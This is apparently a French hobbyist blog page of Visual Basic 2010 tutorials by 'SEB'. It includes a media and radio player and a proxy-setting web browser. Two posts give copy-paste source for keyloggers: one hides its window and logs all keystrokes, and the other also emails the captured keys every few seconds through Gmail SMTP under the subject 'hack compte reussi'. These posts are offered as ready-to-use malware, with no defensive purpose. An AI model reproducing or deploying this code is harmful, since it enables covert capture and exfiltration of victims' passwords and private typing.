vb 2010 - tuto-informatique.seb30.overblog.com

faire son lecteur audio video et radio

Publié le 30 Janvier 2013 par SEB dans vb 2010

je le met en telechargement placer le dossier sur votre bureau ,ouvrer le et cliquer sur le fichier exe enjoy

Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

If ComboBox1.SelectedItem = "NRJ" Then

AxWindowsMediaPlayer1.URL =

"http://broadcast.infomaniak.net/nrjbe-high.mp3"

ElseIf ComboBox1.SelectedItem = "RFM 80" Then

AxWindowsMediaPlayer1.URL =

"http://vipicecast.yacast.net/rfm_webradio05"

ElseIf ComboBox1.SelectedItem = "rmc" Then

AxWindowsMediaPlayer1.URL =

"http://vipicecast.yacast.net/rmc"

ElseIf ComboBox1.SelectedItem = "Funradio" Then

AxWindowsMediaPlayer1.URL =

"http://radio.funradio.fr/funradio.asx"

ElseIf ComboBox1.SelectedItem = "Breakcore" Then

AxWindowsMediaPlayer1.URL =

"http://broadcaster.infomaniak.net/fzm-high.mp3"

ElseIf ComboBox1.SelectedItem = "Rire et chanson sketch" Then AxWindowsMediaPlayer1.URL = "http://95.81.153.1/rire_100_sketches/all/rir_152805.mp3"

ElseIf ComboBox1.SelectedItem = "Voltage" Then

AxWindowsMediaPlayer1.URL =

"http://broadcast.infomaniak.ch/start-voltage-high.mp3"

ElseIf ComboBox1.SelectedItem = "Europe 1" Then

AxWindowsMediaPlayer1.URL =

"http://vipicecast.yacast.net/europe1"

ElseIf ComboBox1.SelectedItem = "nostalgie" Then

AxWindowsMediaPlayer1.URL =

"http://95.81.153.1/nostalgie/all/nos_113812.mp3"

ElseIf ComboBox1.SelectedItem = "rire et chanson" Then

AxWindowsMediaPlayer1.URL = "http://95.81.153.1/rire_et_chansons/all/rir_124629.mp3"

Else

MsgBox(

"Vous avez oublier de sélectionner votre radio !", MsgBoxStyle.Information)

End If

End Sub

Private Sub OuvrirMusiqueVideoToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles OuvrirMusiqueVideoToolStripMenuItem.Click

OpenFileDialog1.ShowDialog()

AxWindowsMediaPlayer1.URL = OpenFileDialog1.FileName

End Sub

Private Sub PleinEcranToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PleinEcranToolStripMenuItem.Click

If (AxWindowsMediaPlayer1.playState = WMPLib.WMPPlayState.wmppsPlaying) Then

AxWindowsMediaPlayer1.fullScreen =

True

Else

MsgBox( "Lancer une musique ou une vidéo pour visionner en fullscreen", MsgBoxStyle.Information)

End If

End Sub

End Class

faire un navigateur securise

Publié le 8 Janvier 2013 par SEB dans vb 2010

le navigateur est a telecharger,j y ai mis un proxy a vous de le changer si vous en trouver un plus rapide

Imports System.Runtime.InteropServices

Public Class Form1

#Region "Using Proxy"

Public Structure Struct_INTERNET_PROXY_INFO

Public dwAccessType As Integer

Public proxy As IntPtr

Public proxyBypass As IntPtr

End Structure

<Runtime.InteropServices.DllImport("wininet.dll", SetLastError:=True)> _

Private Shared Function InternetSetOption(ByVal hInternet As IntPtr, ByVal dwOption As Integer, ByVal lpBuffer As IntPtr, ByVal lpdwBufferLength As Integer) As Boolean

End Function

Private Sub UseProxy(ByVal strProxy As String)

Const INTERNET_OPTION_PROXY As Integer = 38

Const INTERNET_OPEN_TYPE_PROXY As Integer = 3

Dim struct_IPI As Struct_INTERNET_PROXY_INFO

struct_IPI.dwAccessType = INTERNET_OPEN_TYPE_PROXY

struct_IPI.proxy = System.Runtime.InteropServices.Marshal.StringToHGlobalAnsi(strProxy)

struct_IPI.proxyBypass = System.Runtime.InteropServices.Marshal.StringToHGlobalAnsi("local")

Dim intptrStruct As IntPtr = System.Runtime.InteropServices.Marshal.AllocCoTaskMem(System.Runtime.InteropServices.Marshal.SizeOf(struct_IPI))

System.Runtime.InteropServices.Marshal.StructureToPtr(struct_IPI, intptrStruct, True)

Dim iReturn As Boolean = InternetSetOption(IntPtr.Zero, INTERNET_OPTION_PROXY, intptrStruct, System.Runtime.InteropServices.Marshal.SizeOf(struct_IPI))

End Sub

#End Region

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

WebBrowser1.GoBack()

End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click

WebBrowser1.GoForward()

End Sub

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click

WebBrowser1.GoHome()

End Sub

Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click

WebBrowser1.Navigate("http://www.google.fr/search?q=" + TextBox1.Text)

End Sub

Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click

WebBrowser1.Refresh()

End Sub

Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click

WebBrowser1.Stop()

End Sub

Private Sub WebBrowser1_DocumentCompleted(ByVal sender As System.Object, ByVal e As System.Windows.Forms.WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted

UseProxy(TextBox3.Text & ":" & TextBox4.Text)

TextBox2.Text = WebBrowser1.Url.ToString()

End Sub

Private Sub Button7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button7.Click

UseProxy(TextBox3.Text & ":" & TextBox4.Text)

End Sub

Private Sub Button8_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button8.Click

WebBrowser1.Navigate("http://www.ipchicken.com")

End Sub

End Class

keylogger et envoie sur adresse mail

Publié le 19 Décembre 2012 par SEB dans vb 2010

il faut 2 timers une richtextbox et une barre de progress et un bouton copier ce code ,important le timer 1 regler a 5 d intervalle et le 2 mini 10000.

Imports System.Net.Mail Public

Class Form1 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

Timer1.Start()

Timer2.Start()

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

Dim key As String

Dim log As Integer

For k = 1 To 255

log = 0 log = GetAsyncKeyState(k)

If log = -32767 Then

key = Chr(k)

RichTextBox1.Text = RichTextBox1.Text + Chr(k)

End If

Next k

If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "Z" Then

Me.Show()

End If

ProgressBar1.Value = ProgressBar1.Value + 1

If ProgressBar1.Value = ProgressBar1.Maximum Then

ProgressBar1.Value = 0

End If

End Sub

Private Sub RichTextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RichTextBox1.TextChanged

End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Me.Hide()

End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick

Timer2.Start()

Dim MyMailMessage As New MailMessage()

Dim SMTPServer As New SmtpClient("smtp.gmail.com") 'Email

MyMailMessage.From = New MailAddress("xxx@gmail.com") 'Destinataire MyMailMessage.To.Add("xxx@gmail.com")'Expéditeur

MyMailMessage.Subject = ("[] hack compte reussi") 'Sujet MyMailMessage.

Body = (RichTextBox1.Text) 'Corps '

SMTP SMTPServer.Port = ("587")

SMTPServer.Credentials = New System.Net.NetworkCredential("xxx@gmail.com", "xx") 'Email (+Pass)

SMTPServer.EnableSsl = True Try SMTPServer.Send(MyMailMessage) 'Envoi

Catch ex As Exception

End Try

End Sub

End Class

tuto keylogger invisible virtual basic 2010

Publié le 18 Décembre 2012 par SEB dans vb 2010

Pour bien faire le programme il faut une richtextbox un timer et un bouton puis copier ce programme (ps: je l ai mit en petit sinon les lignes sont decalées).

dès que vous presser sur le bouton le programme se cache et est invisible pour le faire apparaitre ctrl alt +z.

Public Class Form1

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

Timer1.Start()

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

Dim key As String

Dim log As Integer

For k = 1 To 255

log = 0

log = GetAsyncKeyState(k)

If log = -32767 Then

key = Chr(k) RichTextBox1.Text = RichTextBox1.Text + Chr(k)

End If

Next k

If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "Z" Then

Me.Show()

End If

End Sub

Private Sub RichTextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RichTextBox1.TextChanged

End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Me.Hide()

End Sub

End Class

tuto keylogger invisible virtual basic 2010

Articles avec #vb 2010 catégorie